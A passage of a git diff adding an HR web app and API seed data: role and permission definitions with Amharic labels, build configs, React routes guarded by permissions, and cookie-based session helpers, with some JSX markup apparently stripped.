"can:view_own:employee_profile", + update: "can:update:employee_profile", + deactivate: "can:deactivate:employee_profile", + terminate: "can:terminate:employee_profile", + }, + employeeDocument: { + view: "can:view:employee_document", + upload: "can:upload:employee_document", + delete: "can:delete:employee_document", + }, + org: { + manageJobTitle: "can:manage:job_title", + manageJobPosition: "can:manage:job_position", + manageUnitHrProfile: "can:manage:unit_hr_profile", + viewOrg: "can:view:hr_org_structure", + }, + leave: { + create: "can:create:leave_request", + viewOwn: "can:view_own:leave_request", + viewAll: "can:view_all:leave_request", + approveL1: "can:approve_l1:leave_request", + approveL2: "can:approve_l2:leave_request", + cancel: "can:cancel:leave_request", + manageType: "can:manage:leave_type", + manageAllocation: "can:manage:leave_allocation", + managePublicHoliday: "can:manage:public_holiday", + }, + attendance: { + record: "can:record:attendance", + viewOwn: "can:view_own:attendance", + viewAll: "can:view_all:attendance", + regularize: "can:regularize:attendance", + approveRegularization: "can:approve:regularization", + requestOvertime: "can:request:overtime", + approveOvertime: "can:approve:overtime", + manageWorkSchedule: "can:manage:work_schedule", + }, + payroll: { + manageSalaryStructure: "can:manage:salary_structure", + manageSalaryRule: "can:manage:salary_rule", + assignSalaryStructure: "can:assign:salary_structure", + run: "can:run:payroll", + approve: "can:approve:payroll", + viewOwnPayslip: "can:view_own:payslip", + viewAllPayslip: "can:view_all:payslip", + manageIncomeTaxTable: "can:manage:income_tax_table", + postJournal: "can:post:payroll_journal", + }, + recruitment: { + manageJobOpening: "can:manage:job_opening", + viewApplication: "can:view:application", + screenApplication: "can:screen:application", + scheduleInterview: "can:schedule:interview", + makeOffer: "can:make:job_offer", + hire: "can:hire:applicant", + }, + appraisal: { + manageCycle: "can:manage:appraisal_cycle", + manageTemplate: "can:manage:appraisal_template", + submitSelf: "can:submit_self:appraisal", + submitManager: "can:submit_manager:appraisal", + viewAll: "can:view_all:appraisal", + }, + report: { + view: "can:view:hr_report", + export: "can:export:hr_report", + viewTax: "can:view:tax_report", + }, +} as const; + +export const HR_PERMISSIONS: HrPermissionSeed[] = [ + // ── Employee profile ────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e01", HR_PERMS.employeeProfile.create, "የሠራተኛ መዝገብ መፍጠር", "Create employee profile"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e02", HR_PERMS.employeeProfile.view, "የሠራተኛ መዝገብ ማየት", "View employee profiles"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e03", HR_PERMS.employeeProfile.viewOwn, "የራስ መዝገብ ማየት", "View own employee profile"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e04", HR_PERMS.employeeProfile.update, "የሠራተኛ መዝገብ ማስተካከል", "Update employee profile"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e05", HR_PERMS.employeeProfile.deactivate, "የሠራተኛ መዝገብ ማቦዘን", "Deactivate employee profile"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e06", HR_PERMS.employeeProfile.terminate, "የሠራተኛ ውል ማቋረጥ", "Terminate employee"), + + // ── Employee documents ──────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e07", HR_PERMS.employeeDocument.view, "የሠራተኛ ሰነድ ማየት", "View employee documents"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e08", HR_PERMS.employeeDocument.upload, "የሠራተኛ ሰነድ መጫን", "Upload employee document"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e09", HR_PERMS.employeeDocument.delete, "የሠራተኛ ሰነድ መሰረዝ", "Delete employee document"), + + // ── HR org structure ────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e0a", HR_PERMS.org.manageJobTitle, "የሥራ መደብ ደረጃ ማስተዳደር", "Manage job titles"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e0b", HR_PERMS.org.manageJobPosition, "የሥራ መደብ ማስተዳደር", "Manage job positions"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e0c", HR_PERMS.org.manageUnitHrProfile, "የመምሪያ መገለጫ ማስተዳደር", "Manage department HR profile"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e0d", HR_PERMS.org.viewOrg, "የድርጅት መዋቅር ማየት", "View HR org structure"), + + // ── Leave (3.2) ─────────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e10", HR_PERMS.leave.create, "የፈቃድ ጥያቄ ማቅረብ", "Request leave"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e11", HR_PERMS.leave.viewOwn, "የራስ ፈቃድ ማየት", "View own leave"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e12", HR_PERMS.leave.viewAll, "ሁሉንም ፈቃድ ማየት", "View all leave"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e13", HR_PERMS.leave.approveL1, "ፈቃድ ማጽደቅ (ደረጃ ፩)", "Approve leave (level 1)"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e14", HR_PERMS.leave.approveL2, "ፈቃድ ማጽደቅ (ደረጃ ፪)", "Approve leave (level 2)"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e15", HR_PERMS.leave.cancel, "ፈቃድ መሰረዝ", "Cancel leave"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e16", HR_PERMS.leave.manageType, "የፈቃድ ዓይነት ማስተዳደር", "Manage leave types"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e17", HR_PERMS.leave.manageAllocation, "የፈቃድ ድልድል ማስተዳደር", "Manage leave allocations"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e18", HR_PERMS.leave.managePublicHoliday, "የበዓል ቀናት ማስተዳደር", "Manage public holidays"), + + // ── Attendance (3.3) ────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e20", HR_PERMS.attendance.record, "የመገኘት መዝገብ ማስመዝገብ", "Record attendance"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e21", HR_PERMS.attendance.viewOwn, "የራስ መገኘት ማየት", "View own attendance"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e22", HR_PERMS.attendance.viewAll, "ሁሉንም መገኘት ማየት", "View all attendance"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e23", HR_PERMS.attendance.regularize, "የመገኘት እርማት ማቅረብ", "Request attendance regularization"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e24", HR_PERMS.attendance.approveRegularization, "የመገኘት እርማት ማጽደቅ", "Approve attendance regularization"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e25", HR_PERMS.attendance.requestOvertime, "የትርፍ ሰዓት ጥያቄ", "Request overtime"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e26", HR_PERMS.attendance.approveOvertime, "የትርፍ ሰዓት ማጽደቅ", "Approve overtime"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e27", HR_PERMS.attendance.manageWorkSchedule, "የሥራ መርሐግብር ማስተዳደር", "Manage work schedules"), + + // ── Payroll (3.4) ───────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e30", HR_PERMS.payroll.manageSalaryStructure, "የደመወዝ መዋቅር ማስተዳደር", "Manage salary structures"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e31", HR_PERMS.payroll.manageSalaryRule, "የደመወዝ ሕግ ማስተዳደር", "Manage salary rules"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e32", HR_PERMS.payroll.assignSalaryStructure, "የደመወዝ መዋቅር መመደብ", "Assign salary structure"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e33", HR_PERMS.payroll.run, "ደመወዝ ማስላት", "Run payroll"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e34", HR_PERMS.payroll.approve, "ደመወዝ ማጽደቅ", "Approve payroll"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e35", HR_PERMS.payroll.viewOwnPayslip, "የራስ የደመወዝ ደረሰኝ ማየት", "View own payslip"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e36", HR_PERMS.payroll.viewAllPayslip, "ሁሉንም የደመወዝ ደረሰኝ ማየት", "View all payslips"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e37", HR_PERMS.payroll.manageIncomeTaxTable, "የገቢ ግብር ሰንጠረዥ ማስተዳደር", "Manage income tax table"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e38", HR_PERMS.payroll.postJournal, "የደመወዝ መዝገብ ወደ ፋይናንስ መላክ", "Post payroll journal to Finance"), + + // ── Recruitment (3.5) ───────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e40", HR_PERMS.recruitment.manageJobOpening, "የክፍት የሥራ ቦታ ማስተዳደር", "Manage job openings"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e41", HR_PERMS.recruitment.viewApplication, "ማመልከቻ ማየት", "View applications"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e42", HR_PERMS.recruitment.screenApplication, "ማመልከቻ መመርመር", "Screen applications"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e43", HR_PERMS.recruitment.scheduleInterview, "ቃለ መጠይቅ መያዝ", "Schedule interviews"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e44", HR_PERMS.recruitment.makeOffer, "የሥራ ቅጥር ደብዳቤ መስጠት", "Make job offer"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e45", HR_PERMS.recruitment.hire, "አመልካች መቅጠር", "Hire applicant"), + + // ── Performance (3.6) ───────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e50", HR_PERMS.appraisal.manageCycle, "የግምገማ ዑደት ማስተዳደር", "Manage appraisal cycles"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e51", HR_PERMS.appraisal.manageTemplate, "የግምገማ ቅጽ ማስተዳደር", "Manage appraisal templates"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e52", HR_PERMS.appraisal.submitSelf, "የራስ ግምገማ ማስገባት", "Submit self appraisal"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e53", HR_PERMS.appraisal.submitManager, "የኃላፊ ግምገማ ማስገባት", "Submit manager appraisal"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e54", HR_PERMS.appraisal.viewAll, "ሁሉንም ግምገማ ማየት", "View all appraisals"), + + // ── Reports (3.7) ───────────────────────────────────────────────────────── + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e60", HR_PERMS.report.view, "የሰው ሀብት ሪፖርት ማየት", "View HR reports"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e61", HR_PERMS.report.export, "የሰው ሀብት ሪፖርት ማውጣት", "Export HR reports"), + perm("0a1c4a4e-3c2e-4a1b-9f6d-0b1e2c3d4e62", HR_PERMS.report.viewTax, "የግብር ሪፖርት ማየት", "View tax report"), +]; + +/** Every key every employee holds, regardless of HR role — self-service. */ +const SELF_SERVICE_KEYS = [ + HR_PERMS.employeeProfile.viewOwn, + HR_PERMS.employeeDocument.view, + HR_PERMS.leave.create, + HR_PERMS.leave.viewOwn, + HR_PERMS.leave.cancel, + HR_PERMS.attendance.viewOwn, + HR_PERMS.attendance.regularize, + HR_PERMS.attendance.requestOvertime, + HR_PERMS.payroll.viewOwnPayslip, + HR_PERMS.appraisal.submitSelf, +]; + +export const HR_ROLES: HrRoleSeed[] = [ + { + id: "92b81d08-d9d9-5ab1-aed8-6ef14e76e16d", + key: "hr_manager", + name: { am: "የሰው ሀብት ሥራ አስኪያጅ", en: "HR Manager" }, + }, + { + id: "eb307225-d3d4-5cea-8c66-51b8d2cd9774", + key: "hr_officer", + name: { am: "የሰው ሀብት ኦፊሰር", en: "HR Officer" }, + }, + { + id: "b465fe43-ca57-5bd3-b3f8-a619c5ce77f6", + key: "payroll_admin", + name: { am: "የደመወዝ አስተዳዳሪ", en: "Payroll Administrator" }, + }, + { + id: "89e47e13-91bd-5f11-ab34-bacb7c6e396e", + key: "recruitment_officer", + name: { am: "የቅጥር ኦፊሰር", en: "Recruitment Officer" }, + }, + { + id: "61213dd8-e52c-5b78-a835-9c92024bdb79", + key: "employee_self_service", + name: { am: "ሠራተኛ", en: "Employee" }, + }, +]; + +/** + * Role → permission matrix. + * + * Two separations of duty are structural here and must not be collapsed into one + * role later: + * - `run:payroll` (payroll_admin) and `approve:payroll` (hr_manager) + * - `terminate:employee_profile` is hr_manager only; hr_officer can create and + * update but never end an employment + * + * Leave L1 approval is deliberately NOT granted to any role: the first approver + * is the line manager, resolved through the IAM position hierarchy at request + * time. Only the final (L2) approval is a role grant. + */ +export const HR_ROLE_PERMISSIONS: HrRolePermissionSeed[] = [ + { + roleKey: "hr_manager", + permissionKeys: [ + ...SELF_SERVICE_KEYS, + HR_PERMS.employeeProfile.create, + HR_PERMS.employeeProfile.view, + HR_PERMS.employeeProfile.update, + HR_PERMS.employeeProfile.deactivate, + HR_PERMS.employeeProfile.terminate, + HR_PERMS.employeeDocument.upload, + HR_PERMS.employeeDocument.delete, + HR_PERMS.org.manageJobTitle, + HR_PERMS.org.manageJobPosition, + HR_PERMS.org.manageUnitHrProfile, + HR_PERMS.org.viewOrg, + HR_PERMS.leave.viewAll, + HR_PERMS.leave.approveL2, + HR_PERMS.leave.manageType, + HR_PERMS.leave.manageAllocation, + HR_PERMS.leave.managePublicHoliday, + HR_PERMS.attendance.record, + HR_PERMS.attendance.viewAll, + HR_PERMS.attendance.approveRegularization, + HR_PERMS.attendance.approveOvertime, + HR_PERMS.attendance.manageWorkSchedule, + HR_PERMS.payroll.manageSalaryStructure, + HR_PERMS.payroll.manageSalaryRule, + HR_PERMS.payroll.assignSalaryStructure, + HR_PERMS.payroll.approve, + HR_PERMS.payroll.viewAllPayslip, + HR_PERMS.recruitment.manageJobOpening, + HR_PERMS.recruitment.viewApplication, + HR_PERMS.recruitment.screenApplication, + HR_PERMS.recruitment.scheduleInterview, + HR_PERMS.recruitment.makeOffer, + HR_PERMS.recruitment.hire, + HR_PERMS.appraisal.manageCycle, + HR_PERMS.appraisal.manageTemplate, + HR_PERMS.appraisal.submitManager, + HR_PERMS.appraisal.viewAll, + HR_PERMS.report.view, + HR_PERMS.report.export, + ], + }, + { + roleKey: "hr_officer", + permissionKeys: [ + ...SELF_SERVICE_KEYS, + HR_PERMS.employeeProfile.create, + HR_PERMS.employeeProfile.view, + HR_PERMS.employeeProfile.update, + HR_PERMS.employeeDocument.upload, + HR_PERMS.org.viewOrg, + HR_PERMS.leave.viewAll, + HR_PERMS.attendance.record, + HR_PERMS.attendance.viewAll, + HR_PERMS.attendance.approveRegularization, + HR_PERMS.report.view, + ], + }, + { + roleKey: "payroll_admin", + permissionKeys: [ + ...SELF_SERVICE_KEYS, + HR_PERMS.employeeProfile.view, + HR_PERMS.org.viewOrg, + HR_PERMS.payroll.manageSalaryStructure, + HR_PERMS.payroll.manageSalaryRule, + HR_PERMS.payroll.assignSalaryStructure, + HR_PERMS.payroll.run, + HR_PERMS.payroll.viewAllPayslip, + HR_PERMS.payroll.manageIncomeTaxTable, + HR_PERMS.payroll.postJournal, + HR_PERMS.report.view, + HR_PERMS.report.viewTax, + ], + }, + { + roleKey: "recruitment_officer", + permissionKeys: [ + ...SELF_SERVICE_KEYS, + HR_PERMS.employeeProfile.view, + HR_PERMS.org.viewOrg, + HR_PERMS.recruitment.manageJobOpening, + HR_PERMS.recruitment.viewApplication, + HR_PERMS.recruitment.screenApplication, + HR_PERMS.recruitment.scheduleInterview, + HR_PERMS.recruitment.makeOffer, + HR_PERMS.recruitment.hire, + ], + }, + { + roleKey: "employee_self_service", + permissionKeys: [...SELF_SERVICE_KEYS], + }, +]; diff --git a/apps/edr-hr-api/tsconfig.build.json b/apps/edr-hr-api/tsconfig.build.json new file mode 100644 index 000000000..64f86c6bd --- /dev/null +++ b/apps/edr-hr-api/tsconfig.build.json @@ -0,0 +1,4 @@ +{ + "extends": "./tsconfig.json", + "exclude": ["node_modules", "test", "dist", "**/*spec.ts"] +} diff --git a/apps/edr-hr-api/tsconfig.json b/apps/edr-hr-api/tsconfig.json new file mode 100644 index 000000000..52598cb95 --- /dev/null +++ b/apps/edr-hr-api/tsconfig.json @@ -0,0 +1,15 @@ +{ + "extends": "@edr/tsconfig/nestjs.json", + "compilerOptions": { + "baseUrl": "./", + "outDir": "./dist", + "rootDir": "./src", + "noEmit": false, + "incremental": true, + "tsBuildInfoFile": "./.tsbuildinfo", + "preserveWatchOutput": true, + "module": "node16", + "moduleResolution": "node16" + }, + "include": ["src"] +} diff --git a/apps/edr-hr-web/index.html b/apps/edr-hr-web/index.html new file mode 100644 index 000000000..045d28d0f --- /dev/null +++ b/apps/edr-hr-web/index.html @@ -0,0 +1,12 @@ + + + + + + EDR — Human Resources + + +
+ + + diff --git a/apps/edr-hr-web/package.json b/apps/edr-hr-web/package.json new file mode 100644 index 000000000..e90cec98a --- /dev/null +++ b/apps/edr-hr-web/package.json @@ -0,0 +1,46 @@ +{ + "name": "@edr/hr-web", + "version": "0.0.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite --clearScreen false", + "prebuild": "node -e \"const fs=require('fs'); fs.rmSync('dist',{recursive:true,force:true});\"", + "build": "vite build", + "preview": "vite preview --port 5185", + "lint": "eslint src", + "type-check": "tsc -b" + }, + "dependencies": { + "@edr/ui-common": "workspace:*", + "@hookform/resolvers": "^5.4.0", + "@mantine/core": "^9.3.0", + "@mantine/dates": "^9.3.0", + "@mantine/hooks": "^9.3.0", + "@mantine/notifications": "^9.3.0", + "@mantine/spotlight": "^9.5.2", + "@tabler/icons-react": "^3.44.0", + "@tanstack/react-query": "^5.62.0", + "@tanstack/react-table": "^8.21.3", + "axios": "^1.16.1", + "dayjs": "^1.11.13", + "i18next": "^26.3.5", + "react": "19.2.6", + "react-dom": "19.2.6", + "react-hook-form": "^7.77.0", + "react-i18next": "^17.0.8", + "react-router-dom": "^7.1.1", + "zod": "^4.0.0" + }, + "devDependencies": { + "@edr/tsconfig": "workspace:*", + "@tailwindcss/vite": "^4.3.0", + "@types/node": "^20.14.0", + "@types/react": "^18.3.11", + "@types/react-dom": "^18.3.0", + "@vitejs/plugin-react": "^4.3.4", + "tailwindcss": "^4.3.0", + "typescript": "^5.9.3", + "vite": "^6.0.7" + } +} diff --git a/apps/edr-hr-web/src/App.tsx b/apps/edr-hr-web/src/App.tsx new file mode 100644 index 000000000..ad472f26b --- /dev/null +++ b/apps/edr-hr-web/src/App.tsx @@ -0,0 +1,201 @@ +import { Alert, Center, Stack, Title } from "@mantine/core"; +import { Navigate, Route, Routes } from "react-router-dom"; + +import { AppShell } from "@/shared/components/AppShell"; +import { RequireAuth } from "@/auth/RequireAuth"; +import { HR_PERMS } from "@/auth/permissions"; +import { LoginPage } from "@/features/auth/LoginPage"; +import { DashboardPage } from "@/features/dashboard/DashboardPage"; +import { EmployeeListPage } from "@/features/employees/EmployeeListPage"; +import { EmployeeDetailPage } from "@/features/employees/EmployeeDetailPage"; +import { EmployeeFormPage } from "@/features/employees/EmployeeFormPage"; +import { MyProfilePage } from "@/features/employees/MyProfilePage"; +import { DepartmentsPage } from "@/features/departments/DepartmentsPage"; +import { OrgExplorerPage } from "@/features/org/OrgExplorerPage"; +import { JobTitlesPage } from "@/features/job-titles/JobTitlesPage"; +import { ReportsPage } from "./features/reports/ReportsPage"; +import { MyAppraisalsPage } from "./features/appraisal/MyAppraisalsPage"; +import { AppraisalReviewsPage } from "./features/appraisal/AppraisalReviewsPage"; +import { AppraisalCyclesPage } from "./features/appraisal/AppraisalCyclesPage"; +import { OpeningsPage } from "./features/recruitment/OpeningsPage"; +import { OpeningDetailPage } from "./features/recruitment/OpeningDetailPage"; +import { PayrollRunsPage } from "./features/payroll/PayrollRunsPage"; +import { PayrollSettingsPage } from "./features/payroll/PayrollSettingsPage"; +import { MyPayslipsPage } from "./features/payroll/MyPayslipsPage"; +import { MyAttendancePage } from "./features/attendance/MyAttendancePage"; +import { AttendanceApprovalsPage } from "./features/attendance/AttendanceApprovalsPage"; +import { AttendanceRegisterPage } from "./features/attendance/AttendanceRegisterPage"; +import { WorkSchedulesPage } from "./features/attendance/WorkSchedulesPage"; +import { MyLeavePage } from "./features/leave/MyLeavePage"; +import { LeaveApprovalsPage } from "./features/leave/LeaveApprovalsPage"; +import { LeaveRegisterPage } from "./features/leave/LeaveRegisterPage"; +import { LeaveSettingsPage } from "./features/leave/LeaveSettingsPage"; +import { LeaveTypesPage } from "./features/leave/LeaveTypesPage"; +import { HolidaysPage } from "./features/leave/HolidaysPage"; +import { JobPositionsPage } from "@/features/job-positions/JobPositionsPage"; + +function Forbidden() { + return ( +
+ + Not permitted + + Your account does not hold the permission this page needs. Note that + permissions are snapshotted when you sign in — if HR has just granted + you a role, sign out and back in. + + +
+ ); +} + +/** Every authenticated route renders inside the shell. */ +const shell = (element: JSX.Element, permission?: string | string[]) => ( + + {element} + +); + +export function App() { + return ( + + } /> + + )} /> + )} /> + )} /> + + , HR_PERMS.employeeProfile.view)} + /> + , HR_PERMS.employeeProfile.create)} + /> + , HR_PERMS.employeeProfile.view)} + /> + , HR_PERMS.employeeProfile.update)} + /> + + , HR_PERMS.org.viewOrg)} + /> + , HR_PERMS.org.viewOrg)} + /> + , HR_PERMS.org.viewOrg)} + /> + , HR_PERMS.org.viewOrg)} + /> + + , HR_PERMS.report.view)} + /> + + , HR_PERMS.appraisal.submitSelf)} + /> + , HR_PERMS.appraisal.submitManager)} + /> + , HR_PERMS.appraisal.manageCycle)} + /> + + , HR_PERMS.recruitment.viewApplication)} + /> + , HR_PERMS.recruitment.viewApplication)} + /> + + , HR_PERMS.payroll.viewAllPayslip)} + /> + , HR_PERMS.payroll.manageSalaryRule)} + /> + , HR_PERMS.payroll.viewOwnPayslip)} + /> + + , HR_PERMS.attendance.viewOwn)} + /> + , + HR_PERMS.attendance.approveRegularization, + )} + /> + , HR_PERMS.attendance.viewAll)} + /> + , HR_PERMS.attendance.viewOwn)} + /> + + , HR_PERMS.leave.viewOwn)} + /> + , + [HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2], + )} + /> + , HR_PERMS.leave.viewAll)} + /> + + {/* Leave settings decide how everyone's leave is counted, so they are + readable by anyone who can request leave and writable only by an + administrator — the page itself enforces the second half. */} + , HR_PERMS.leave.viewOwn)} + /> + , HR_PERMS.leave.viewOwn)} + /> + , HR_PERMS.leave.viewOwn)} + /> + + } /> + + ); +} diff --git a/apps/edr-hr-web/src/auth/AuthContext.tsx b/apps/edr-hr-web/src/auth/AuthContext.tsx new file mode 100644 index 000000000..9bc046f43 --- /dev/null +++ b/apps/edr-hr-web/src/auth/AuthContext.tsx @@ -0,0 +1,103 @@ +import { + createContext, + useCallback, + useContext, + useEffect, + useMemo, + useState, + type ReactNode, +} from "react"; + +import { getMeRequest, loginRequest } from "./api"; +import { applyTokens } from "./http"; +import { + AUTH_USER_COOKIE, + clearSessionCookies, + getCookie, + setCookie, +} from "./cookies"; +import { hasPermission } from "./permissions"; +import type { AuthUser } from "./types"; + +type AuthContextValue = { + user: AuthUser | null; + isLoading: boolean; + login: (email: string, password: string) => Promise; + logout: () => void; + can: (permission: string | string[]) => boolean; +}; + +const AuthContext = createContext(null); + +const readCachedUser = (): AuthUser | null => { + const raw = getCookie(AUTH_USER_COOKIE); + if (!raw) return null; + try { + return JSON.parse(raw) as AuthUser; + } catch { + return null; + } +}; + +export function AuthProvider({ children }: { children: ReactNode }) { + // Seeded from the cookie so a refresh does not flash the login screen while + // /me is in flight; the server response replaces it as soon as it lands. + const [user, setUser] = useState(readCachedUser); + const [isLoading, setIsLoading] = useState(true); + + useEffect(() => { + let cancelled = false; + + getMeRequest() + .then((me) => { + if (cancelled) return; + setUser(me); + setCookie(AUTH_USER_COOKIE, JSON.stringify(me)); + }) + .catch(() => { + // A failed /me means no usable session. The http interceptor has + // already tried a refresh by this point. + if (!cancelled) setUser(null); + }) + .finally(() => { + if (!cancelled) setIsLoading(false); + }); + + return () => { + cancelled = true; + }; + }, []); + + const login = useCallback(async (email: string, password: string) => { + const { token, refreshToken } = await loginRequest({ email, password }); + applyTokens({ token, refreshToken }); + const me = await getMeRequest(); + setUser(me); + setCookie(AUTH_USER_COOKIE, JSON.stringify(me)); + }, []); + + const logout = useCallback(() => { + clearSessionCookies(); + setUser(null); + window.location.replace("/login"); + }, []); + + const value = useMemo( + () => ({ + user, + isLoading, + login, + logout, + can: (permission: string | string[]) => hasPermission(user, permission), + }), + [user, isLoading, login, logout], + ); + + return {children}; +} + +export function useAuth(): AuthContextValue { + const context = useContext(AuthContext); + if (!context) throw new Error("useAuth must be used inside "); + return context; +} diff --git a/apps/edr-hr-web/src/auth/Can.tsx b/apps/edr-hr-web/src/auth/Can.tsx new file mode 100644 index 000000000..736c8d5aa --- /dev/null +++ b/apps/edr-hr-web/src/auth/Can.tsx @@ -0,0 +1,23 @@ +import type { ReactNode } from "react"; + +import { useAuth } from "./AuthContext"; + +/** + * Hides a control the caller cannot use. + * + * House rule (freight CLAUDE.md): a server-side guard must be reflected in the + * UI — prefer disabling with a visible reason over silently hiding, so pass + * `fallback` when the absence would be confusing. + */ +export function Can({ + permission, + children, + fallback = null, +}: { + permission: string; + children: ReactNode; + fallback?: ReactNode; +}) { + const { can } = useAuth(); + return <>{can(permission) ? children : fallback}; +} diff --git a/apps/edr-hr-web/src/auth/RequireAuth.tsx b/apps/edr-hr-web/src/auth/RequireAuth.tsx new file mode 100644 index 000000000..0a24e402f --- /dev/null +++ b/apps/edr-hr-web/src/auth/RequireAuth.tsx @@ -0,0 +1,39 @@ +import { Center, Loader } from "@mantine/core"; +import { Navigate, useLocation } from "react-router-dom"; +import type { ReactNode } from "react"; + +import { useAuth } from "./AuthContext"; + +/** + * Route gate. `permission` mirrors the server's guard so a user without the key + * never lands on a page whose every request would 403 — the API remains the + * real gate. + */ +export function RequireAuth({ + children, + permission, +}: { + children: ReactNode; + permission?: string | string[]; +}) { + const { user, isLoading, can } = useAuth(); + const location = useLocation(); + + if (isLoading) { + return ( +
+ +
+ ); + } + + if (!user) { + return ; + } + + if (permission && !can(permission)) { + return ; + } + + return <>{children}; +} diff --git a/apps/edr-hr-web/src/auth/api.ts b/apps/edr-hr-web/src/auth/api.ts new file mode 100644 index 000000000..8107d55e2 --- /dev/null +++ b/apps/edr-hr-web/src/auth/api.ts @@ -0,0 +1,26 @@ +import { authApi, hrApi } from "./http"; +import type { AuthUser, LoginResponse } from "./types"; + +export const loginRequest = async (payload: { + email: string; + password: string; +}): Promise => { + const response = await authApi.post("/auth/login", payload); + return response.data; +}; + +/** + * The signed-in user, asked of hr-api rather than of whoever issued the token. + * + * hr-api resolves the session on every request anyway, so this returns exactly + * the identity it will enforce with — and it keeps this app independent of which + * service hosts login. Only `loginRequest` above is remote. + * + * Note the permission set is snapshotted at LOGIN onto the session, so a role + * granted while the user is signed in does not appear until they log in again — + * the same constraint the API documents. + */ +export const getMeRequest = async (): Promise => { + const response = await hrApi.get("/me"); + return response.data; +}; diff --git a/apps/edr-hr-web/src/auth/cookies.ts b/apps/edr-hr-web/src/auth/cookies.ts new file mode 100644 index 000000000..43c294bc7 --- /dev/null +++ b/apps/edr-hr-web/src/auth/cookies.ts @@ -0,0 +1,37 @@ +/** + * Session cookies. Deliberately the SAME names freight-backoffice uses + * (`auth-token`, `refresh-token`, `auth-user`): the two apps share one IAM + * session, so a user already signed in on the same host does not have to log in + * again, and signing out of one ends the session for both. + */ +const DEFAULT_PATH = "/"; +const SEVEN_DAYS_IN_SECONDS = 60 * 60 * 24 * 7; + +export const AUTH_TOKEN_COOKIE = "auth-token"; +export const REFRESH_TOKEN_COOKIE = "refresh-token"; +export const AUTH_USER_COOKIE = "auth-user"; + +export const getCookie = (name: string): string | null => { + const match = document.cookie + .split("; ") + .find((entry) => entry.startsWith(`${name}=`)); + return match ? decodeURIComponent(match.split("=").slice(1).join("=")) : null; +}; + +export const setCookie = ( + name: string, + value: string, + maxAge = SEVEN_DAYS_IN_SECONDS, +): void => { + document.cookie = `${name}=${encodeURIComponent(value)}; Max-Age=${maxAge}; path=${DEFAULT_PATH}; SameSite=Lax`; +}; + +export const clearCookie = (name: string): void => { + document.cookie = `${name}=; Max-Age=0; path=${DEFAULT_PATH}`; +}; + +export const clearSessionCookies = (): void => { + [AUTH_TOKEN_COOKIE, REFRESH_TOKEN_COOKIE, AUTH_USER_COOKIE].forEach( + clearCookie, + ); +}; diff --git a/apps/edr-hr-web/src/auth/http.ts b/apps/edr-hr-web/src/auth/http.ts new file mode 100644 index 000000000..81261b0a6 --- /dev/null +++ b/apps/edr-hr-web/src/auth/http.ts @@ -0,0 +1,147 @@ +import axios, { + AxiosError, + AxiosInstance, + 